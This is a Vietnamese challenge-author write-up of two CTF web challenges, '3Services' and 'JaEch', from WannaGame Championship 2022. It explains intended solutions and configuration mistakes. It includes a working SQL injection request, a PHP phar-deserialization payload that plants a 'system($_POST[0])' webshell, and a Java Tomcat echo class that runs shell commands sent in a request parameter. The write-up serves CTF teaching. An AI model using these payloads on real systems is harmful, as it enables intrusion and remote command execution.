owned this note
owned this note
Published
Linked with GitHub
# WannaGameChampionShipCTF2022
## 3Services
Bài này ban đầu mình muốn thiết kế theo kiểu double pivoting để nó hướng "redteam" một tí, nhưng sau khi làm xong thì phát hiện ra cần phải nới lỏng một vài điều kiện khác để có thể áp dụng được và kết quả là dù mình đã bỏ đi kĩ thuật đó nhưng cũng k ngăn được việc nó trở thành một chall web 3 trong 1 🥺, rất xin lỗi những ai đã làm chall này của mình. Note nhanh về solution của từng service sẽ như sau:
1. Service 1
SQLi thông qua mysql local variable
```
POST /index.php?page=register&user=<@urlencode>admin'into @a,@c,@,@#<@/urlencode> HTTP/1.1
Host: 127.0.0.1
Content-Length: 72
Origin: http://127.0.0.1
Content-Type: application/x-www-form-urlencoded
username=blabla&password=bla&num=<@urlencode>0,@c)#<@/urlencode>&hobby=1
```
Sau khi vào được admin panel, sql truncation để upload php webshell + bypass [imagecreatefromgif](https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromgif). Và tunnel để vào service2
2. Service 2
Phar deserialization ở chức năng upload hình trong profile: áp dụng switch case loose comparison + [bypass](https://johnfrod.top/ctf/hfctf-2021-finaltinypng) kiểm tra phar's metadata.
```php
<?php
Class ImageHandler{
}
$payload = new ImageHandler;
$payload -> type = true;
$payload -> logfile = "/var/www/html/uploads/shell.php";
$payload -> status = "<?php system(\$_POST[0]); ?>";
$a = fread(fopen("default.png","rb"), filesize("default.png"));
$phar = new Phar('exploit.phar');
$phar = $phar->convertToExecutable(Phar::TAR, Phar::GZ);
$phar->startBuffering();
$phar -> addFromString('test.txt', 'test');
$phar->setStub($a . '<?php __HALT_COMPILER(); ?>');
$phar -> setMetadata($payload);
$phar -> stopBuffering();
```
Sau khi đã rce được service này, có thể dùng curl để giao tiếp với service cuối.
3. Service 3
Nginx file parsing [vulnerability](https://forum.nginx.org/read.php?2,88845,88942) ở đoạn config:
![](https://i.imgur.com/nJY9TK8.png)
và [persistent](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) php payload trong image để bypass đoạn code resize
![](https://i.imgur.com/aXU5GK3.png)
## JaEch
Gồm 2 service chính, reverse proxy `nginx` public ra ngoài internet và `web` internal
![](https://i.imgur.com/ixUYSAj.png)
Nginx mình setup các cấu hình như sau
![](https://i.imgur.com/cCamysP.png)
Mục đích là để chặn việc access trực tiếp đến endpoint `something` - đóng vai trò quan trọng trong việc solve chall.
Mong muốn ban đầu của mình đó là player sẽ áp dụng vuln nginx off by slash đồng thời kết hợp với path normalization (nginx + tomcat) để access tới `something` nhưng sau đi đọc write up của anh jang mình phát hiện ra bản thân đã không kiểm tra đến trường hợp đơn giản như `/challsomething`
![](https://i.imgur.com/lwGOOT1.png)
Intended của mình:
![](https://i.imgur.com/YMtfvQQ.png)
`/something` sẽ deserialize data gửi từ client, nên ta có thể khai thác insecure deserialization ở đây
![](https://i.imgur.com/istMa9c.png)
Nhưng trước hết cần phải pass được đoạn code ở dòng 22, String.hashCode() hoạt động như sau:
![](https://i.imgur.com/a6CfgNs.png)
=> Ta chỉ cần kiếm 2 kí tự mà `h` của chúng bằng với `h` của hai kí tự `to` -> `v1`
Về phần deserialize mình đã để sẵn chain rome trong `pom.xml`
![](https://i.imgur.com/r7rdkz9.png)
Và custom lại java.security để filter đi một vài class có sẵn trong các tool như yoserial, ... (mục đích là muốn player tự tinh chỉnh lại chain một tí)
```!
jdk.serialFilter=!java.util.HashMap;!java.util.HashTable;!com.rometools.rome.feed.impl.ObjectBean;!sun.print.UnixPrintService;!javax.management.BadAttributeValueExpException;
```
Class `java.util.HashTable` mình cố tình ghi sai để "lừa" người chơi 😙, đúng ra phải là `java.util.Hashtable`. Chain chỉnh lại như sau:
![](https://i.imgur.com/B4viGIx.png)
Phần byte code để load một malicious class thì như ban đầu đã nói, service `web` mình cố tình để internal để phải giải theo cách echo, lấy ra response object sau đó write output. Nhưng sau khi đọc qua writeup của anh jang thì lại nhận ra mình tiếp tục cấu hình sai ở một chỗ khác
![](https://i.imgur.com/6uZBo7w.png)
Thay vì set perm cho `/home/to016/apache-tomcat-9.0.65/webapps/chall` - document root của chall, thì mình lại set cho document root của tomcat vì vậy có thể ghi output ra file và đọc từ internet 😥.
![](https://i.imgur.com/iIROcvA.png)
_(Ảnh từ writeup của anh jang)_
Intended của mình:
```
public class Payload extends AbstractTranslet {
static {
try {
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
ThreadLocal<ServletResponse> lastServicedResponse =
(ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
String cmd = lastServicedRequest != null
? lastServicedRequest.get().getParameter("cmd")
: null;
if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
lastServicedRequestField.set(null, new ThreadLocal<>());
lastServicedResponseField.set(null, new ThreadLocal<>());
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
} else if (cmd != null) {
ServletResponse responseFacade = lastServicedResponse.get();
responseFacade.getWriter();
java.io.Writer w = responseFacade.getWriter();
Field responseField = ResponseFacade.class.getDeclaredField("response");
responseField.setAccessible(true);
Response response = (Response) responseField.get(responseFacade);
Field usingWriter = Response.class.getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set((Object) response, Boolean.FALSE);
InputStream in = Runtime.getRuntime().exec(new String[]{"sh", "-c", cmd}).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
w.write(output);
w.flush();
}
} catch (Exception e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
```
Kết quả:
![](https://i.imgur.com/k1KcYBc.png)
Tham khảo thêm [writeup](https://testbnull.medium.com/wannactf-writeup-jaecho-web-2e29c22e2f92) của anh jang đã hiểu rõ hơn về chain cũng như một cách làm khác.
# Lời kết
Một lần nữa gửi lời xin lỗi về challenge web của mình trong giải này, đồng thời cũng cảm ơn mọi người vì đã dành thời gian cho nó. Mình sẽ rút kinh nghiệm hơn trong những lần ra đề sau.
Chào mọi người
_to^_
###### tags: `ctf`, `java-sec`